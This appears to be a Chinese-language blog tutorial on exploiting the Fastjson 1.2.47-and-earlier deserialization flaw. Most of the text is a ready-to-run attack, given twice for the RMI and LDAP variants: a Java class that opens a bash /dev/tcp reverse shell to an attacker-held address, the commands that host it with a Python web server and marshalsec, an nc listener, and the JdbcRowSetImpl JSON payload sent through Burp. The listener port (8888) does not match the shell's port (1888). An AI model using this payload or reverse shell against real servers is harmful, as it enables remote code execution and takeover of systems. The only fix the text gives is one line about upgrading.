简介

Fastjson是阿里巴巴的开源的 Java JSON 解析库,它可以解析JSON格式的字符串,支持将Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean

漏洞原理

Fastjson提供了反序列化功能,允许用户在输入JSON串时通过@type键对应的value指定任意反序列化类名

Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法

那么当组件开启了aototype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的Gadget),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

影响版本

  • <=FastJson 1.2.47

漏洞利用

RMI模式getshell

编写代码EXPloit.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}
}

生成class文件

1
javac EXPloit.java

将生成的文件放到web下面

启动一个WEB服务,用于访问EXPloit.class

1
2
python -m SimpleHTTPServer 8080
python -m http.server 8080

开启一个RMI监听端口

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:8080/#Exploit" 9999

NC监听8888端口

1
nc -lvnp 8888

burp抓包,通过post请求,发送payload

添加请求头

1
COntent-Type: application/json

添加payload

1
2
3
4
5
6
7
8
9
10
11
12
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Exploit",
"autoCommit":true
}

}

LDAP模式getshell

编写代码EXPloit.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}
}

生成class文件

1
javac EXPloit.java

将生成的文件放到web下面

启动一个WEB服务,用于访问EXPloit.class

1
2
python -m SimpleHTTPServer 8080
python -m http.server 8080

开启一个RMI监听端口

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:8080/#Exploit" 9999

NC监听8888端口

1
nc -lvnp 8888

burp抓包,通过post请求,发送payload

添加请求头

1
COntent-Type: application/json

添加payload

1
2
3
4
5
6
7
8
9
10
11
12
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://ip:9999/Exploit",
"autoCommit":true
}

}

修复措施

升级FastJson版本